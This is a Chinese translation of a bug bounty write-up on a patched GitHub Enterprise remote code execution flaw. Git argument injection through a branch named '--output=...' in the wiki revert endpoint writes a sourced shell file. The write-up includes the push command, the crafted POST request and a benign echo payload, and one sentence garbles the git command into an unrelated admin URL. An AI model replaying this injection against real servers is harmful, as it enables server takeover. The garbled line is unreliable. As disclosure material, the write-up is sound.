查看原文
其他

我从GitHub 企业版找到严重的 RCE 漏洞,意外得$2万奖金 (GitHub $6.1万系列之一)

vakzz 代码卫士 2022-04-06
 聚焦源代码安全,网罗国内外最新资讯!
编译:奇安信代码卫士团队



我开始研究 GitHub已经有段时间了,于是决定看看GitHub企业版 (GHE) 碰碰运气。GHE虽然被混淆,但它的目的只是为了不让客户搞砸。稍微从网上搜索一下就会发现有很多脚本可用于解码,然后就会得到 rails 的常规ruby文件。


注:本文作者最近从 GitHub 获得6.1万美金的奖金,并分享了其中3笔最大的奖金。本文为第一笔。


距离我上次给 GitHub报漏洞已经过去一年左右的时间了,与使用以-开头的分支名称将选项注入 git 命令有关,可使攻击者截短服务器上的文件,我认为可以从这个地方开始检查下是否引入了类似漏洞。

  漏洞发现
于是我开始搜索所有调用 git进程的地方,之后追踪参数查看它们是否是用户可控的及是否被正确地清理。多数地方要么把受用户控制的数据放在命令中的--之后,使这些数据永远不会被解析为一个选项;要么检查是否为有效的 sha1或可 commit 的值且不以开头。过了一会儿,我发现了 reverse_diff方法,它进行了两次提交,并最终与它们一起运行了一个 gitdiff-tree,而执行的唯一检查是仓库中都有两个有效的 git引用(sha、branch、tag 等)。向后追溯可知,该函数由 revert_range 方法调用。两个之前的wiki commit 进行回滚时就会使用该方法。因此user/repo/wiki/Home/_revert/57f931f8839c99500c17a148c6aae0ee69ded004/1967827bcd890246b746a5387340356d0ac7710a 的一个 POST最终会调用具有57f931f8839c99500c17a148c6aae0ee69ded004 1967827bcd890246b746a5387340356d0ac7710a值的 reverse_diff。完美!我查看了一个仓库并通过git push origin master:--help  推送出一个新的分支–help,之后尝试 post到user/repo/wiki/Home/_revert/HEAD/--help。但结果并未返回 422 Unprocessable Entity 的成功提示信息。查看服务器日志后发现问题在于 CSRF 令牌无效。结果发现 rails 当前的 CSRF令牌是基于所 post 的路径而生成的。虽然并未检查查询参数,但在这个案例中,该路径设置为 commit仅允许路径参数。回滚的形式以及有效令牌是由 wiki比较模板生成的,但遗憾的是,它的验证更加严格,且要求提交有效的 sha哈希。这意味着我们无法为 –help 分支呈现有效的表单和令牌,仅为有效的 commitsha 呈现。深挖rails 中的 valid_authenticity_token? 方法后发现,绕过每个表单 CSRF 的另一种方法是使用全局令牌,因为存在这样一个代码路径,可以在转换时使现有表单向后兼容。 
def valid_authenticity_token?(session, encoded_masked_token) # :doc: if encoded_masked_token.nil? || encoded_masked_token.empty? || !encoded_masked_token.is_a?(String) return false end
begin masked_token = Base64.strict_decode64(encoded_masked_token) rescue ArgumentError # encoded_masked_token is invalid Base64 return false end
# See if it's actually a masked token or not. In order to # deploy this code, we should be able to handle any unmasked # tokens that we've issued without error.
if masked_token.length == AUTHENTICITY_TOKEN_LENGTH # This is actually an unmasked token. This is expected if # you have just upgraded to masked tokens, but should stop # happening shortly after installing this gem. compare_with_real_token masked_token, session
elsif masked_token.length == AUTHENTICITY_TOKEN_LENGTH * 2 csrf_token = unmask_token(masked_token)
compare_with_real_token(csrf_token, session) || valid_per_form_csrf_token?(csrf_token, session) else false # Token is malformed. endend
虽然全局 CSRF令牌经常以 csrf_meta_tags 助手的形式分发给客户端,但是 GitHub 实际上锁定了一切,搜索了很久之后我依然没有发现能够泄漏全局令牌的地方。GitHub 甚至还在每个表单 CSRF 未正确设置的情况下发出警报,因为这样做会泄漏全局令牌。我花了很长时间搜索绕过此方法(即令牌是由 rails生成的)的方法,只要我能够使它使用诸如wiki/Home/_revert/HEAD/--help 的路径,那么它与表单的创建位置无关。对 GHE 和 rails 代码进行了大量深入的搜索和挖掘后,我空手而归。我确实在 github.com上找到了一些已存档的html 页面,这些页面表明之前被分发的全局令牌不再分发。GitHub 将用于用户会话的全局 CSRF 令牌存储在数据库中,因此我决定继续从这里获取全局令牌,先把查找方法的事放一放。
 Exploit
我在 GHE服务器上安装并运行了来自 perf-tools中的 execsnoop,仔细查看了在做回滚时运行的确切 git 命令,结果发现它以https://admin.lx.qianxin.com/work/emc/accounts-management/list的形式呈现。diff-tree git 命令有一个选项 --output,使你能够将输出写入文件而不是直接输出结果,因此将 HEAD用作第一个 commit,将–output=/tmp/ggg 用作第二个 commit,将会把文件的最新 diff写入 /tmp/ggg因此,我向 wiki仓库推送了一个名为--output=/tmp/ggg 的新分支,之后使用从数据库拿到的 authenticity_token user/repo/wiki/Home/_revert/HEAD/--output%3D%2Ftmp%2Fggg做了一个 POST。从服务器上可看到,文件 /tmp/ggg 已经通过 diff的输出得以创建。
9ea5ef1f10e9ff1974055d3e4a60bec143822f9ddiff --git b/Home.md a/Home.mdindex c3a38e1..85402bc 100644--- b/Home.md+++ a/Home.md@@ -1,4 +1,3 @@ Welcome to the public wiki!
-3+2
接下来就是搞清楚下一步该怎么做。文件可写入 git 用户可访问的任何地方,而文件末尾的内容是完全可控的。经过多次搜索后,我发现了一些可写的 env.d目录(如 /data/github/shared/env.d),其中包含一些 setup 脚本。当服务启动或者命令运行时,这些目录中的文件就被引用:
for i in $envdir/*.sh; do if [ -r $i ]; then . $i fi done
由于 .script.sh不要求文件是可执行的,而 bash在遇到出错信息时会继续运行脚本,因此这意味着如果写入的 diff包含一些有效的 shell 脚本,那么它将会被执行!现在,万事俱备,可以 exploit该bug 了:1、   从数据库获取要给用户 CSRF令牌2、   创建一个包含; echo vakzz was here > /tmp/ggg wiki 页面3、   编辑wiki 页面并增加一行新文本:#anything4、   克隆 wiki 仓库5、   通过注入的标记推送一个新的分支名称:git push originmaster:--output=/data/failbotd/shared/env.d/00-run.sh6、   使用 burp或 curl,通过数据库中的authenticity_token,post 到user/repo/wiki/Home/_revert/HEAD/--output%3D%2Fdata%2Ffailbotd%2Fshared%2Fenv%2Ed%2F00-run%2Esh
POST /user/repo/wiki/Home/_revert/HEAD/--output%3D%2Fdata%2Ffailbotd%2Fshared%2Fenv%2Ed%2F00-run%2Esh HTTP/1.1Content-Type: application/x-www-form-urlencodedCookie: user_session=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXContent-Length: 65
authenticity_token=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%3d


7、   检查服务器,查看文件已通过我们的 diff创建: 
$ cat /data/failbotd/shared/env.d/00-run.sh69eb12b5e9969ec73a9e01a67555c089bcf0fc36diff --git b/Home.md a/Home.mdindex 4a7b77c..ce38b05 100644--- b/Home.md+++ a/Home.md@@ -1,2 +1 @@-; echo vakzz was here > /tmp/ggg`-# anything\ No newline at end of file+; echo vakzz was here > /tmp/ggg`\ No newline at end of file
8、   运行引用我们的 diff的文件并检查是否可以正常工作: 
./production.sh./production.sh: 1: /data/failbotd/current/.app-config/env.d/00-run.sh: 69eb12b5e9969ec73a9e01a67555c089bcf0fc36: not founddiff: unrecognized option '--git'diff: Try 'diff --help' for more information../production.sh: 3: /data/failbotd/current/.app-config/env.d/00-run.sh: index: not found./production.sh: 4: /data/failbotd/current/.app-config/env.d/00-run.sh: ---: not found./production.sh: 5: /data/failbotd/current/.app-config/env.d/00-run.sh: +++: not found./production.sh: 6: /data/failbotd/current/.app-config/env.d/00-run.sh: @@: not found./production.sh: 7: /data/failbotd/current/.app-config/env.d/00-run.sh: -: not found./production.sh: 2: /data/failbotd/current/.app-config/env.d/00-run.sh: -#: not found./production.sh: 3: /data/failbotd/current/.app-config/env.d/00-run.sh: No: not found./production.sh: 4: /data/failbotd/current/.app-config/env.d/00-run.sh: +: not found./production.sh: 11: /data/failbotd/current/.app-config/env.d/00-run.sh: No: not found$ cat /tmp/gggvakzz was here
到了这个阶段,即使无法绕过每个表单 CSRF令牌,我仍然决定将问题报告给 GitHub。底层问题仍然非常严重,GitHub 未来发布的补丁可能会不慎泄漏该全局令牌或者更改路径,接受查询参数,从而易受攻击。在15分钟内,GitHub 就对该 bug进行分类并告知我称正在查看该 bug。几个小时后,他们通过邮件证实了该底层问题的存在并表示他们无法找到绕过每个表单令牌的方式,提到这可能是严重的问题,幸运的是他们在 CSRF设置中找到了。我发送了我尝试绕过每个表单的方法总结以及会导致泄漏的可能点,并表示我认为该漏洞基本上不可能遭利用。该 bug本身是严重的,但由于无法被利用,因此我无法判断出 GitHub将颁发的奖金数额,或者甚至无法判断是否会颁发奖金。最后我收到了一个大大的惊喜。
 时间线
  • 2020年7月25日01:48:02 AEST –在HackerOne提交漏洞报告

  • 2020年7月25日 02:05:21 AEST  –  GitHub 诊断该bug

  • 2020年7月25日 09:18:28 AEST  –  底层问题得到证实

  • 2020年8月11日–  GitHub Enterprise 2.21.4 发布,问题修复。

当在 GitHubEnterprise Server 上执行 Git子命令时,攻击者可注入恶意参数,从而能够以部分受用户控制的内容覆写任意文件并可能在 GitHubEnterprise Server 实例上执行任意命令。要利用该漏洞,攻击者需要具有访问 GHES实例中仓库的权限。然而,由于存在保护措施,我们无法识别出活跃利用该漏洞的方法。该漏洞已通过 GitHub安全漏洞计划项目提交。

  • 2020年9月11日02:52:15 AEST –颁发2万美元的奖金




推荐阅读
详述 Discord Desktop app RCE 挖洞经过,最后得$5000 + $300 (含 PoC 视频)
哭!有人偷了我的漏洞报告,还冒领了奖金!
对 *.google.com/* 产品进行大规模的 CSRFing 研究,意外获得3万美元奖金
奋战3个月,我们挖到55个苹果漏洞,获得近30万美元奖金




原文链接
https://devcraft.io/2020/10/18/github-rce-git-inject.html



题图:Pixabay License


本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。


奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

    觉得不错,就点个 “在看” 吧~


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存